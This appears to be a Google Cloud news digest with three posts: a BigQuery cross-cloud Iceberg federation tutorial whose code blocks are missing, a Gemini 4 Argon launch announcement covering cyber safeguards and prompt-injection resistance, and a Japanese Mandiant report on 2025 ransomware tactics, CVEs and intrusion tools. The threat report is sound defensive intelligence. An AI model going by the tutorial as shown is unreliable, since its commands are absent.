GCP News - 2026-10-14

The reality for most organizations is that data lives everywhere. As engineering teams expand and adopt specialized platforms for their workloads, enterprise data naturally disperses across multiple clouds and operational systems. When analytical and AI initiatives require context from across the entire organization,these teams traditionally face a difficult trade-off: build complex extraction pipelines to copy data into a central repository or accept fragmented reporting.

Traditional architectures address this fragmentation with scheduled extraction pipelines that copy remote datasets into a central staging warehouse. This approach creates synchronization lag, adds recurring storage costs, and triggers variable network egress fees. When schemas change upstream, pipelines break, and teams spend hours reconciling metrics across out-of-sync dashboards.

BigQuery and Google Cloud’s borderless Lakehouse offer a streamlined way to solve this challenge with a foundation based on the open Apache Iceberg REST catalog specification. Rather than moving data to the compute engine, you can bring Google Cloud compute and generative AI directly to your data, querying it in place across Databricks, Snowflake, and AWS Glue.

In this post, we walk through how to configure Databricks Unity Catalog for federation into BigQuery (AWS Glue and Snowflake set up in appendix),  run a single query joining data across all three external catalogs, and use conversational analytics in BigQuery to explore the consolidated data with natural language.

The borderless lakehouse architecture

This solution uses Lakehouse runtime catalog to synchronize metadata from other cloud providers, allowing you to query data with BigQuery or external open source engines through the Apache Iceberg REST catalog endpoint, all without migrating the data. Because Databricks Unity Catalog, Snowflake Horizon Catalog, and AWS Glue Data Catalog support the open Apache Iceberg REST catalog specification, you can apply a consistent connection pattern across all three platforms.

When you run a federated query, Lakehouse runtime catalog separates metadata synchronization from storage access:

• Metadata synchronization: Lakehouse runtime catalog  periodically syncs schemas, snapshot pointers, and table definitions from the remote catalog based on a refresh schedule you define.

• Direct storage access: During query runtime, a compatible engine reads Parquet data files directly from remote object storage, such as Amazon S3, using temporary credentials issued by the remote platform.

All query processing runs within Google cloud compute such as BigQuery or Managed Service  for Apache Spark. Remote Databricks clusters, Snowflake virtual warehouses, and AWS compute instances are not invoked during execution.

Authentication follows an explicit three-step deployment pattern: create the federated catalog in Google Cloud, inspect its configuration to retrieve its automatically generated service account, and grant access permissions within the remote platform.

You can use AI to generate sample data. The schema details for tables are provided below. 

Configure Databricks Unity Catalog

We begin in Databricks by preparing the catalog and table. In Unity Catalog, federated access requires that your target schema be associated with an external location registered in Databricks:

• You can use AI to generate sample data. The schema details for tables are provided in each section.

Before external engines can read this table, a Databricks metastore administrator must enable External data access on the metastore details tab.

Go to Databricks Admin account and under User Management, create a Databricks Service Principal and make a note of its UUID "6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx"

Connect Databricks to BigQuery

Next, create the federated catalog inside Google Cloud using the gcloud command-line tool. You will need your Databricks workspace URL and the application ID of your Databricks service principal:

Once created, describe the catalog to view its assigned service account:

Return to Databricks to assign permissions to your service principal:

You must grant the EXTERNAL USE SCHEMA privilege to the Databricks Service Principal on the target schemas or catalog to enable credential vending for external data access.

Finally, to complete the connection, configure the federation policy on the Databricks service principal with the following details - 

1. Issuer URL* -  https://accounts.google.com

2. Subject* -  numeric subject ID returned by the catalog describe command eg 1124251400450xxxxxxxx

3. Audiences - https://accounts.cloud.databricks.com

Run one query across three clouds

Federated Iceberg tables are addressed in BigQuery using four-part paths: project.catalog.namespace.table.

In our environment, sales transactions reside natively in BigQuery:

We can now run a single SQL query joining our native sales transactions with customer records in Snowflake, product lines in Databricks, and store locations in AWS Glue:

BigQuery processes the joins in place. Notice that Snowflake identifiers appear in uppercase (CORE.DIM_CUSTOMERS), while Databricks and AWS Glue maintain lowercase table paths.

Explore cross-cloud data with natural language

Because federated Iceberg tables behave like native tables within BigQuery, downstream analytical features inherit access directly. You can point conversational analytics in BigQuery at these federated schemas to let team members explore cross-cloud data using natural language prompts.

To give conversational analytics full operational context, we save our federated join as a logical view:

Analyze sales performance in natural language

When you ask conversational analytics in BigQuery:

"Who are our top customers by total sales revenue, what products did they buy, and which stores did they shop at?"

Conversational analytics evaluates the schema across all three remote catalogs, generates the SQL statement, executes the query, and presents the response.

Plan for caching and data residency

Before deploying federated catalogs in production, consider these operational behaviors:

• Background refresh timing: The --refresh-interval flag controls metadata synchronization. The minimum interval is 300 seconds. For larger catalogs containing hundreds of tables, metadata retrieval can take longer. If a sync cycle overruns, BigQuery skips the next scheduled run to avoid task queuing.

• Automatic query caching: BigQuery caches retrieved cross-cloud data blocks in the region where your federated catalog resides (e.g. us-central1). This helps reduce network transfer on repeated queries. Because cached blocks reside within Google Cloud storage in that region, confirm that this aligns with your organization's data residency policies.

• Encryption controls: Cross-cloud cache blocks use Google-managed encryption keys. If your organization enforces the constraints/gcp.restrictNonCmekServices policy constraint, BigQuery bypasses the cache and reads directly from remote storage for every query.

• Monitoring access metrics: You can evaluate cache utilization in your query execution plans. Check the objectStorageStats section in BigQuery job statistics to compare cacheBytesRead against objectStorageBytesRead.

Next steps

In summary, Google Cloud’s borderless Lakehouse helps you activate your data regardless of where it lives without costly migrations or building additional data pipelines.   Get started today by reviewing the borderless Lakehouse architecture documentation to learn more about supported regions and credential configurations. You can work through the borderless Lakehouse codelab to practice federating external catalogs step-by-step. Finally, connect with your Google Cloud account team or customer engineer to evaluate borderless lakehouse patterns for your specific data platforms or industries.

Appendix

Setting up Snowflake and AWS Glue cross cloud data access

Connect Snowflake and Big Query

Configure Snowflake Horizon Catalog

We begin in Snowflake by creating the database, schema, and Iceberg table. In Snowflake Horizon, managed Iceberg tables expose an open Apache Iceberg REST catalog interface automatically:

Before external engines can read this catalog, configure a dedicated reader role and grant traversal permissions across the database, schema, and table. 

SQL

Next, create the federated catalog inside Google Cloud using the gcloud command-line tool. You will need your Snowflake account identifier, the reader role, and the root Iceberg database name:

bash

In the Apache Iceberg REST specification, --snowflake-warehouse references the catalog root database name (SF_RETAIL_DB), not a virtual compute warehouse.

Once created, describe the catalog to view its assigned numeric service account ID:

bash

Return to Snowflake to bind Google Cloud's numeric identity to a passwordless service user via Workload Identity Federation (WIF):

SQL

This establishes passwordless authentication over OpenID Connect, allowing BigQuery to discover table metadata and vend temporary query-time credentials directly from Snowflake Horizon.

Configure AWS Glue Data Catalog

We begin in AWS by preparing the IAM identity, establishing access permissions across AWS Glue and Amazon S3, and registering the Iceberg table.

First, create a placeholder trust policy named trust_policy.json. This allows you to provision the AWS IAM role before Google Cloud assigns the unique catalog service agent:

Create the IAM role using the AWS CLI. Setting a 12-hour session duration (43200 seconds) prevents credential expiration during long-running analytical queries:

Next, define the permissions policy in a file named permissions_policy.json. This policy grants BigQuery permission to read the AWS Glue catalog metadata and access the underlying Parquet data files in Amazon S3:

Attach this permissions policy to your newly created role:

Important (AWS Lake Formation): If your AWS environment uses AWS Lake Formation, verify that the IAMAllowedPrincipals group has access to the target database and table (or grant explicit Lake Formation permissions to lakehouse_glue_federation_role if the bucket is registered with AWS Lake Formation). Without this, Lake Formation security settings will block the IAM role from accessing catalog metadata.

With permissions in place, create the database and Iceberg table in AWS Glue using Amazon Athena:

Connect AWS Glue to BigQuery

Next, register the federated catalog inside Google Cloud using the gcloud command-line tool. You will need your 12-digit AWS Account ID, AWS Region, and the role ARN created above:

To prevent premature background refresh failures while the AWS trust policy propagates, initialize the catalog without setting a refresh schedule.

Next, extract the unique numeric subject ID assigned to the catalog by Google Cloud:

Return to the AWS CLI and update your IAM role's trust policy, replacing the placeholder with the verified Google Cloud identity:

5. Enable metadata synchronization and verify

bash

Verify that the namespaces are discovered and synchronized:

bash

Last week we announced that Gemini Enterprise has evolved to make it even simpler to get work done, and introduced the Gemini agent, your new universal agent for work. It's always on and ready to answer your questions. It will write code, complete longer and more complex tasks, or perform whatever you need to get the job done, all from a single prompt box. And model intelligence underpins it all.

To enable a new frontier of work, we are making our new frontier model, Gemini 4 Argon, available on Google Cloud. 

We trained Argon to work with both depth and precision, which allows it to maintain context across long, multi-step tasks which are reinforced with strong domain expertise along the way. Whether your team is running complex software builds, handling detailed financial and legal work, or deploying cybersecurity tools like CodeMender, Argon helps your teams maintain focus from start to finish. 

Four ways Argon changes how your business works

1. Hand off your hardest work

Your teams already use Gemini for business to answer questions and draft content. With Argon, they can hand off the deep, multi-step work that used to take hours or days, and get back finished work they can use.

Argon reads long documents that mix text, tables, charts and images, and turns them into one clear output grounded in those sources. It can pull findings from many sources into a single structured answer, analyze data over time, and write stronger legal, finance, and executive documents. On long tasks, it keeps going until the job is done. We trained Argon to respect system boundaries, report negative findings honestly, and pause for confirmation before taking irreversible steps, and it tells you when it couldn't find something or finish a task.

Customers who tested Argon tell us it excels at turning huge, unstructured inputs into cohesive outputs. 

"As software development becomes more agentic, teams need models that can support long-running, multi-step work across all stages of the development lifecycle. Gemini 4 Argon is designed to help organizations bring AI into development, security, and operations while keeping it within established enterprise workflows and controls.” – Stuart Moncada, VP, GitLab.

2. Precise, verifiable results on the work that drives your business

In finance, legal, tax, and other regulated work, calculations and data extraction need to be precise, repeatable, and verifiable. 

For financial quantitative work, Argon can help automate multi-step ledger reconciliations, spreadsheet formulas, and variance analyses. It delivers high calculation integrity, citation fidelity, and formula accuracy across quantitative models. The proof is in the numbers: Argon leads on the Vals Index, which measures economic impact across finance, coding, legal, and tax work.

In legal research, Argon can help legal teams review case law and regulatory filings to pull out verified citations and key precedents. It leads on domain-specific evaluations like Harvey's Legal Agent Benchmark for legal research and drafting, with strong citation fidelity and direct answers when helping teams evaluate complex legal precedents. 

"Gemini 4 Argon shows how much progress Google has made on agentic legal reasoning. We saw substantial improvements over Gemini 3.1 Pro across our legal agent evaluations, particularly in corporate M&A, data privacy and cybersecurity, and EC/VC. Accuracy also held up on long-document analysis, an encouraging result for lawyers working through detailed transactional matters." – Niko Grupen, Head of Applied Research, Harvey.

“We collaborated with Google on NowAI-Bench to help shape Gemini 4 for key enterprise work. In early access, it delivered roughly 20% improved task success than Gemini 3.8 Flash, with standout gains in HR and customer service. On the ServiceNow AI Platform, our L1 Service Desk AI specialist brings Google’s most advanced intelligence, governed and secure, turning tasks into fully autonomous work.” - Nenshad Bardoliwalla, Senior Vice President, AI Products, ServiceNow.

3. Build and ship products faster

Argon is built to handle complex, multi-step projects from start to finish. Our customers consistently ask for intelligence that can break down goals, track progress, and update multiple files at the same time.

"Gemini 4 Argon handles complex tasks reliably, from 3D games to rich animations. In Figma Make, it helps teams turn their most ambitious, multi-step ideas into impressive prototypes.” – Loredana Crisan, Chief Design Officer, Figma. 

To see how well Argon handles this, we put it to work on our own tools. The team behind our open-source Agent Development Kit (ADK) set out to reduce framework overhead and improve code performance while maintaining full compatibility with existing applications. Working autonomously overnight within automated testing guardrails, Argon surfaced optimizations, now live in google/adk-python, that cut in-memory session prep time by 40% in long sessions and speed up cold imports by 21%. To learn more, read the engineering deep dive here.

Across Google, engineering teams using Argon in Google Antigravity have increased agentic code submissions by more than 35% while cutting code rollbacks by nearly a third. The Chrome team used Argon to finish an architectural refactor across hundreds of files in Chromium's 40 million-line codebase, completing months of work in weeks. Argon's improvements in spatial reasoning, mathematical precision and visual coding also make it faster to go from idea to working prototype. 

For more advanced algorithms, our code optimization and discovery agent AlphaEvolve uses Argon to deliver strong performance improvements across real-world enterprise workloads, including factory scheduling, logistics, game code speed-ups, and chip layout — as well as complex mathematical benchmarks, and more. 

To learn how to best use Argon, check out the developer's guide.

4. Stronger defense for your code and business 

While Argon has cyber mitigations that block offensive tasks such as pentesting and exploitation, you can still take full advantage of Argon’s defensive capabilities using CodeMender to find and fix vulnerabilities, or use Argon with your own security harness. It ties for first place on CWE-Bench v1 with a top score of 68% for remediating security vulnerabilities.

"We are integrating Gemini 4 Argon into MarketingX for automated codebase security audits. In our evaluations, the model successfully identified 100% of top-priority vulnerabilities with 0% fabricated vulnerabilities across verified claims. This precision unlocks proactive, code-level security for our customers before deployment.” - Yunus Emre, Chief AI Officer of AI Lab, HubX.

Security also means being able to trust Argon inside your own environment. Argon is our most resilient model yet against indirect prompt injections, where malicious instructions or context are used to hijack a model’s behavior. It leads the Gray Swan Indirect Prompt Injection benchmark, cutting attack success across 15 adaptive attempts to 0.7%. That matters when Argon reads email, documents and webpages that may contain hidden malicious instructions. 

We are also releasing Argon without cyber guardrails to a select set of trusted defenders, which allows for testing a full breadth of cybersecurity capabilities. Trusted defenders are vetted through our Fairwind Program, a limited access initiative that provides government, critical infrastructure, and cybersecurity partners exclusive, unmitigated access to advanced  models. 

Enterprise customers and partners in our early access program are already seeing strong wins with Argon.

^{Leaders from Amplitude, Deloitte, and Rakuten share Gemini 4 Argon results}

Get started

Starting today, Gemini 4 Argon is available in Gemini for business on the web, desktop, and mobile. Enterprise developers and builders can access Argon via API in Gemini platform under model ID gemini-4-argon, in Google AI Studio, and in Google Antigravity.

Argon launches at an introductory rate of $2 per million input tokens and $10 per million output tokens through November 30, 2026, with cached input tokens priced at 95% off. After November 30, standard pricing of $4 per million input tokens and $20 per million output tokens will apply. Review the model card and developer guide for complete technical specifications, token limits, and migration instructions.

Cyber defenders can join us at Security Summit to learn how to use Gemini 4 Argon to defend against machine-speed threats and automate remediation.

執筆者: Bavi Sadayappan、Zach Riddle、Ioana Teaca、Kimberly Goody、Genevieve Stark

はじめに

2018 年以降、金銭目的の脅威アクターの多くが侵入後にランサムウェアを展開することによって収益化を図る戦略へと移行し始めたことにより、ランサムウェアはほぼすべての業種と地域の組織を対象とした、最もまん延している脅威の一つとなっています。近年、ランサムウェア攻撃は進化しており、堅牢なエコシステムが出来上がり、その活動を支える地下コミュニティのコモディティ化と専門化により、攻撃への参入障壁が下がっています。Ransomware as a Service（RaaS）ビジネスモデルの急増はその典型的な例です。ランサムウェアはその活動の規模と重大な業務の停止に陥るリスクから、依然として主要な脅威ではあるものの、複数の指標からランサムウェア攻撃全体の収益性低下が確認されています。この収益性の低下の傾向は、サイバーセキュリティ対策の強化、組織の復旧能力の向上、ランサムウェアの支払い金額と支払い率の低下など、複数の要因による結果と考えられます。さらに近年では、ランサムウェアのエコシステムは数多くの活動を阻害する要因による影響を受けています。たとえば、法執行機関の介入などの外部からの圧力、アクター間の内部対立などがあり、その両方によって、LockBit、ALPHV、Basta、RansomHub など、これまで活発に活動していた RaaS グループの消滅や大幅に弱体化につながっています。しかし、このような混乱下においても、しっかりした基盤を持つ RaaS ブランドの Qilin と Akira はその空白を埋めるように台頭し、2025 年にデータリークサイト（DLS）に投稿された被組織者数で上位となっています（図 1）。

このレポートでは、Mandiant Consulting が対応した 2025 年のランサムウェア インシデントから直接確認されたランサムウェアの状況と一般的な戦術、技術、手順（TTP）を紹介します。この分析では、データ窃取による恐喝のみに焦点を当てた攻撃は除外しています。主な分析結果は以下のとおりです。

• 3 分の 1 のインシデントの初期アクセス ベクトルとして、脆弱性の悪用が確認または疑われています。ほとんどの場合、一般的な VPN とファイアウォールの脆弱性が標的となっています。

• 分析したランサムウェア侵入の 77% でデータ窃取の疑いがあり、2024 年のインシデントの 57% から大幅に増加しています。

• 2025 年に対応したランサムウェア侵入の約 43% で、脅威アクターが仮想化インフラストラクチャを標的としていることが確認されており、2024 年の 29% から増加しています。

• REDBIKE が最もよくデプロイされたランサムウェア ファミリーで、分析したランサムウェア インシデントの 30% を占めていました。

• BEACON や MIMIKATZ などの特定の侵入ツールの使用の減少や、リモート管理ツールの利用の低迷など、過去数年で見られた傾向の一部は引き続き確認されています。

Google Threat Intelligence Group（GTIG）による TTP の分析は、主に Mandiant による対応から入手したデータに依拠しており、グローバルなランサムウェア侵入活動のサンプルに過ぎません。そうしたインシデントはネットワーク侵入活動に続く侵害後のランサムウェア デプロイによるものであり、多くの場合、データ窃取による恐喝も行われています。影響を受けた組織はアジア太平洋地域、ヨーロッパ、北米、ラテンアメリカにわたっており、ほぼすべての業種が含まれています。

2026 年も引き続きランサムウェアは最も影響の大きいサイバー脅威の一つであると予想されますが、利益の減少により、継続的な標的の変更、データ窃取による恐喝の増加、より攻撃的な恐喝戦術の使用に加え、被害組織の環境へのアクセスを場当たり的に二次的な収益化メカニズムに利用するなど、他の収益化手法と戦術を使用する脅威アクターも出てくる可能性があります。

ランサムウェアによる脅威への対処に役立つ推奨事項は、ホワイト ペーパーのランサムウェアの防止および封じ込め戦略: エンドポイント保護、セキュリティ強化、封じ込めのための実践ガイダンスに記載されています。

2025 年のランサムウェアの状況

2025 年のランサムウェア環境はますます競争が激化し、1 件以上投稿がある一意の DLS の数が過去最高となりました。恐喝を行うランサムウェア アクターの増加に加え、これらの脅威アクターに的を絞った法執行機関による継続的な取り組み、組織のセキュリティ強化により、近年ランサムウェア オペレーターの利益率は縮小していると考えられます。この状況に対して、脅威アクターは標的から使用するテクノロジーまで、新たな戦略を採用していると思われます。このような進化としては、小規模な組織を標的とする攻撃の増加傾向や、ランサムウェアのデプロイを伴わないデータ窃取による恐喝へのシフトなどがあります。さらに、脅威アクターは攻撃の一部分（交渉など）に AI を組み込み、Web3 テクノロジーを活用してインフラストラクチャの復元力を強化しています。こうした点では活動の拡大が見られる一方で、近年の内部での混乱と外部からの圧力によって、一部の脅威アクターはより慎重になっており、潜在的なパートナーをより厳格に審査するようになっています。ランサムウェア アクターは引き続き戦術を調整して進化させ、一定レベルの成功の確保または過去に達成した収益性の回復に取り組むものと予想されます。

2025 年は DLS の投稿件数が過去最高を記録し、総投稿数は 2024 年の投稿数を 50% 近く上回りました。投稿件数は過去最高であったものの、DLS データのみでランサムウェア攻撃の全体規模を判断することには注意が必要です。脅威アクターは通常、恐喝の交渉の開始または完了を拒否した被害組織についてのみ、DLS 投稿を作成します。公開レポートでは、身代金の支払い率が低下していることが明らかになっており、これが少なくとも部分的には被害組織を晒すこうしたサイトへの投稿が着実に増加している要因となっている可能性があります。また、データ窃取のみの攻撃に関連する DLS 投稿と、ランサムウェアのデプロイを伴う攻撃に関連する投稿を区別することも困難です。たとえば、CL0P DLS とつながりを持つ脅威アクターは、引き続きランサムウェアをデプロイすることはあるものの、現在では主にデータ窃取による恐喝のみの攻撃に移行しています。CL0P は 2025 年に 3 番目に投稿が多かった DLS でしたが、この投稿に関連するインシデントの大部分にランサムウェアは関与していませんでした。また、BABUK 2.0 とつながりを持つ脅威アクターなどが投稿内容の捏造や誇張を行っているケースに加え、少なくとも被害組織数を若干水増しした内容を再投稿するケースも多数確認されています。最後になりますが、すべての投稿が同じ重要性を持つわけではありません。たとえば、2024 年 12 月から 2025 年 1 月にかけて、FUNKSEC が最も多く DLS 投稿を行いましたが、関連するインシデントの多くは、データ窃取による恐喝を目的としたウェブサイトの侵害という、影響の小さなイベントと思われます。

ランサムウェアはこれまで非常に収益性が高かったものの、最近の混乱や組織のセキュリティ強化がこの収益性に影を落としている可能性があります。公開レポートによると、身代金の支払い率と平均の要求額はどちらも減少しています。2026 年 2 月、身代金の支払い率は過去数年間にわたって全体的に低下しており、2025 年第 4 四半期には過去最低を記録したと Coveware が報告しています。同様に、2025 年 6 月には Sophos が平均の身代金要求額は昨年 3 分の 1 に減少し、2024 年の 200 万ドルから 2025 年には 134 万ドルになっていると報告しています。公開レポートによると、ランサムウェアの影響を受けた組織は簡単に復旧できるようになっており、これも身代金支払い額の減少に影響している可能性があります。たとえば、2025 年 2 月に Unit 42 は企業のランサムウェア インシデントからの復旧能力が高まっていると報告しています。2024 年にはランサムウェア被害組織のほぼ半数がバックアップから復元できています。この割合は 2023 年は約 28%、2022 年はわずか 11% でした。

組織のセキュリティの向上と、被害組織のランサムウェア攻撃からの復旧能力の向上によって、一部の攻撃者は支払いを受け取るためのより確実な方法として、データ窃取を捉えるようになっている可能性があります。Mandiant が調査した侵入攻撃では、従来のランサムウェアのデプロイの減少と反比例して、データ窃取による恐喝の増加が確認されました。さらに、一部の RaaS プログラムでは、ランサムウェアに加えてデータ窃取による恐喝のみのオプションも提供しており、顧客ベースからの需要を反映した結果である可能性があります。また、特に大規模な組織でセキュリティ態勢が強化されたことで、脅威アクターが標的を変更せざるを得ず、セキュリティ プログラムの成熟度が低い小規模な組織を標的とした攻撃に重点を置き始めている可能性もあります。DLS に投稿された被害組織の規模（従業員数の推定値に基づく）を分析すると、脅威アクターが大企業から中小企業へと標的をシフトしていることがわかります（図 3）。脅威アクターはこの傾向についてはっきりと言及しています。たとえば、2024 年 4 月と 5 月に流出したチャットで、Basta アクターは「通常のネットワーク」と比較して、小規模な企業のネットワークを標的にする方が効果的であると理論づけていました。

2025 年には、さまざまな法執行機関と政府による取り組み、脅威アクター関連のデータ漏洩と対立など、ランサムウェアのエコシステムに悪影響を及ぼす数々の事件が発生しました。このような事象の一部は脅威アクター間での対立の結果によるものと思われます（図 4）。このような事件の多くは逮捕、押収、制裁などによる脅威アクターの直接的な活動停止につながりました。同時に一部の事件では、脅威アクターは TTP の変更を余儀なくされ、セキュリティ研究者にとっては一部のランサムウェア攻撃の内部の仕組みと背後にいる関係者について貴重な知見が得られました。しかし、2025 年に長年活動を続けてきたブランドである Qilin と Akira の規模拡大は、ランサムウェア アクターがレジリエンスを持っており、競合する RaaS 運営者の摘発と出口詐欺後の空白を埋められる能力があることを示しています。全体的に不安定なランサムウェア脅威の環境と法執行機関からの圧力とが相まって、ランサムウェア チームはオペレーションのセキュリティを強化するようになり、その結果、潜在的なアフィリエイトの審査がより厳格になっていることを示す兆候が表れています。また、プライベートまたは準プライベートのサービスが注目を集めるようになっています。たとえば、2025 年はこの 4 年間で初めて、最も活発な RaaS オペレーションの上位 2 つのうちの 1 つが公開されなかった年でした。Akira にはアフィリエイトがいると思われるものの、オペレーションに関して一般向けの広告は出されていません。

2025 年、ランサムウェア アクターは新たなテクノロジーまたは確立されたテクノロジーを導入して活動の効率性と有効性を高めることで、引き続きオペレーションを進化させました。一部の脅威アクターはテイクダウンまたは検知の取り組みに対してインフラストラクチャのレジリエンスを高める方法として、Web3 テクノロジーを活動に取り入れています。Cry0 RaaS は Internet Computer Protocol（ICP）ブロックチェーンを利用して、分散型キャニスター スマート コントラクト経由で交渉サイトをホストすることにより、TOR を使わなくてもクリアネットにアクセスできると主張しています。一方、DEADLOCK ランサムウェアは C2 インフラストラクチャの保存とローテーションに Polygon スマート コントラクトを利用しています。また、脅威アクターが AI 機能を RaaS サービスに組み込んでいることも確認されています。GLOBAL RaaS には被害組織の分析を行い、コミュニケーションを支援する AI を活用したチャットが搭載されていると言われています。CHAOS には「組み込みの AI chatbot」が組み込まれているとされていますが、その具体的な使用用途は不明です。BERT は AI ベースのデータ分析を使用して、被害組織の弱みを特定していると言われています。最後に、Windows と Linux の両方のシステムで実行できるランサムウェア ファミリーの数は、2024 年と比較して 2 倍に増加しています。これは脅威アクターが活動をサポートする複数の異なるバリエーションを作成するのではなく、クロスプラットフォームのランサムウェアに移行していることを示している可能性があります。

確認されている一般的な戦術、技術、手順

以降のセクションでは、侵入後のランサムウェアのデプロイ インシデントで確認された TTP の傾向について、GTIG の攻撃ライフサイクル モデル（図 5）の対応するステージごとに説明します。このセクションで概説する TTP は、2025 年中の Mandiant が主導したランサムウェア調査において確認されたものです。

初期アクセス

2025 年のランサムウェア インシデントで最も多く特定された初期アクセス ベクトルは、脆弱性の悪用または悪用の可能性で、インシデントの 3 分の 1 を占めていました。続いて、ウェブ侵害、認証情報の盗難、ブルート フォース攻撃となっています（図 6）。ビッシングは注目を集めた大規模な複数のデータ窃取による恐喝キャンペーンでよく利用された戦術でしたが、ランサムウェア インシデントでは確認されませんでした。一部のベクトルは検証が困難であることを踏まえ、今年は全体像を示すために初期アクセス ベクトルとして疑われるものについても分析に含めています。たとえば、認証情報の盗難を確認するのは困難で、認証情報が数週間前に発生した別のインシデントで収集された可能性や個人のデバイスから収集された可能性もあります。一方、ブルート フォース攻撃では、ベクトルの特定に使用できるログエントリが多数生成される傾向があります。

• 2025 年全体を通じて、ランサムウェア オペレーターは初期アクセスに幅広いシステムの脆弱性を利用していることが確認されました（表 1）。確認または疑われた脆弱性の悪用の大部分は、2025 年より前に公開された脆弱性に関わるものでしたが、少なくとも一部のランサムウェア アクターのオペレーションでは、ゼロデイ攻撃の利用を示す複数の兆候が確認されています。

• 脆弱性を悪用したまたは悪用した疑いがあるほとんどのケースで、脅威アクターは Fortinet（CVE-2024-55591、CVE-2024-21762、CVE-2019-6693）、SonicWall（CVE-2024-40766）、Palo Alto（CVE-2024-3400）、Citrix（CVE-2023-4966）などの一般的な VPN とファイアウォールの脆弱性を標的としていました。

• 悪意のあるアクターが Veritas Backup Exec、Zoho ManageEngine、Microsoft SharePoint、SAP Netweaver などの公開されているさまざまなサービスの脆弱性の悪用にも成功していることが確認されています。

• 年間を通して、複数のランサムウェアとデータ窃取による恐喝のオペレーションが、初期アクセスとしてゼロデイ脆弱性を利用した証拠が確認されています。

• 2025 年 7 月中旬、UNC6357 アクターは Microsoft SharePoint の脆弱性（CVE-2025-53770 と CVE-2025-53771）を悪用して被害組織の環境にアクセスし、LOCKBIT.WARLOCK をデプロイしようとしました。この攻撃は脆弱性の開示後に確認されましたが、ログデータや公開されたレポートなどの証拠から、同じアクターがこの脆弱性をゼロデイとして悪用しようとしていた可能性があります。

• 2025 年 8 月、GTIG は高い確率で UNC2165 が CVE-2025-8088 のゼロデイ攻撃で MYTHICAGENT をデプロイしたと判断しました。

• 確認されたインシデントではランサムウェアのデプロイは行われていませんが、CL0P DLS とつながりを持つ脅威アクターが、Oracle EBS 環境に対するゼロデイ攻撃として CVE-2025-61882 を悪用した可能性があります。CL0P DLS は CLOP ランサムウェアを利用した多面的な恐喝行為に関与しているとされていますが、基本的にはデータ窃取による恐喝であり、ランサムウェアのデプロイではありません。

• 複数の脅威クラスタがマルバタイジングと検索エンジン最適化（SEO）の手法を利用して、初期アクセスを目的としたマルウェア ペイロードを配布していることが確認されました。これはランサムウェア オペレーター自身と、その後のランサムウェアの侵入につながる初期アクセス パートナーの両方が行っています。

• UNC6016 によるマルウェアの配布では、マルバタイジングを利用して PuTTY などの正規のソフトウェア ツールを装ったマルウェア ペイロードを配布し、初期アクセスを確保しています。確認された UNC6016 によるアクセスの少なくとも一部は、最終的に NITROGEN または RHYSIDA ランサムウェアのデプロイに至っています。

• UNC2465 はマルバタイジングと SEO 手法を日常的に利用して、RVTOOLs インストーラを装った SMOKEDHAM ペイロードを配布していました。

• 今年は頻度が減ったものの、多くの脅威アクターが引き続き盗んだ認証情報を初期アクセスに利用していました。初期アクセス ベクトルが特定された侵入の 21% で、脅威アクターは正当な認証情報を悪用して被害組織の環境にアクセスしていました。通常、被害組織の VPN の認証またはリモート デスクトップ プロトコル（RDP）ログインを通じてアクセスされています。常に盗まれた認証情報のソースを特定できるわけではありませんが、アクターはアンダーグラウンド フォーラムでの認証情報の購入やインフォスティーラー ログで公開されている認証情報の使用など、さまざまな手法で認証情報を入手できます。

• 一部のアクターは被害組織の VPN に対してブルート フォース攻撃を実施していることが引き続き確認されています。Daixin と名乗るランサムウェアが関与したインシデントでは、脅威アクターは約 1 年間にわたってさまざまな VPN ユーザー アカウントに対して定期的にブルート フォース攻撃を仕掛け、最終的に初期アクセスに成功しています。

• 複数の侵入で、ランサムウェア オペレーターが仲介ネットワーク経由で被害組織にアクセスしていることが確認されました。

• 複数の異なるランサムウェア活動において、被害組織の子会社のネットワークにアクセスしたうえで、被害組織のネットワークにアクセスしていることが確認されました。ある事例では、脅威アクターは子会社へのアクセスを利用して、ブルート フォース攻撃で被害組織の VPN にアクセスしています。

• 別のインシデントでは、脅威アクターがサードパーティ ベンダーが所有する VPN 接続を利用して、被害組織の環境内のオペレーション テクノロジー（OT）システムにアクセスしました。

• CLOP ランサムウェアのデプロイにつながった侵入では、UNC5833 はヘルプデスク ユーザーになりすました初期アクセス パートナーからアクセスを確保しています。このパートナーは Microsoft Teams のチャット セッションで従業員をソーシャル エンジニアリングして Quick Assist をインストールさせました。2025 年に確認されたインシデントでは、ランサムウェア オペレーターによるソーシャル エンジニアリングの使用は限定的でしたが、金銭目的の侵入を行うアクターの間では引き続き一般的な手法となっています。

表 1: 2025 年のランサムウェア インシデントで初期アクセスに利用された可能性が高い脆弱性

足場の確立とプレゼンスの維持

被害組織の環境に侵入した脅威アクターはさまざまな手法を使用して、足場を確立し、プレゼンスを維持しています。そのような手法には、有効な認証情報、トンネラー、バックドア、正規のリモート アクセス ツールの利用などがあります。脅威アクターは攻撃ライフサイクルのこの両方のフェーズをサポートするツールとして、引き続きリモート管理ツールを使用していますが、その使用割合は 2024 年よりもわずかに低くなっています。

• ランサムウェア アクターは被害組織の環境に足場を築くために、引き続き漏洩した認証情報を利用しています。

• ネットワーク サービスの認証が完了すると、脅威アクターは通常この認証情報を使用して、高い権限を持つアカウントをプロビジョニングまたは変更し、アクセスを維持していました。たとえば、RIFTTEAR インシデントでは、脅威アクターは Kerberos 経由で特権システムを認証し、AD ドメインユーザーをプロビジョニングして、そのアカウントを高い権限を持つグループに追加しました。また、複数の脅威アクターが ESXi ホスト上の root アカウントのパスワードを変更していることも確認されました。

• 2024 年の調査と比べて、2025 年にはより多くの脅威アクターがこのようなフェーズをサポートするトンネラーを利用しています。確認されたトンネラーには、PYSOXY、CHISEL、CLOUDFLARED、RPIVOT、REVSOCKS.CLIENT などの一般公開されているものと、LIONSHARE、VIPERTUNNEL、BLUNDERBLIGHT などの非公開と思われるものがあります。

• LOCKBIT.WARLOCK インシデントでは、Microsoft SharePoint の脆弱性を悪用してリモートコード実行を可能にしています。Windows の msiexec コマンドライン ユーティリティを使用して GitHub から CLOUDFLARED をインストールするために必要なアクセス権を確保し、アウトバウンド専用の C2 チャネルを確立しました。

• 一部の脅威アクターは CORNFLAKE.V3.JAVASCRIPT、SQUIDGATE、FIREHAWK、HAVOCDEMON、SMOKEDHAM などのバックドアをデプロイして、足場を確立しています。

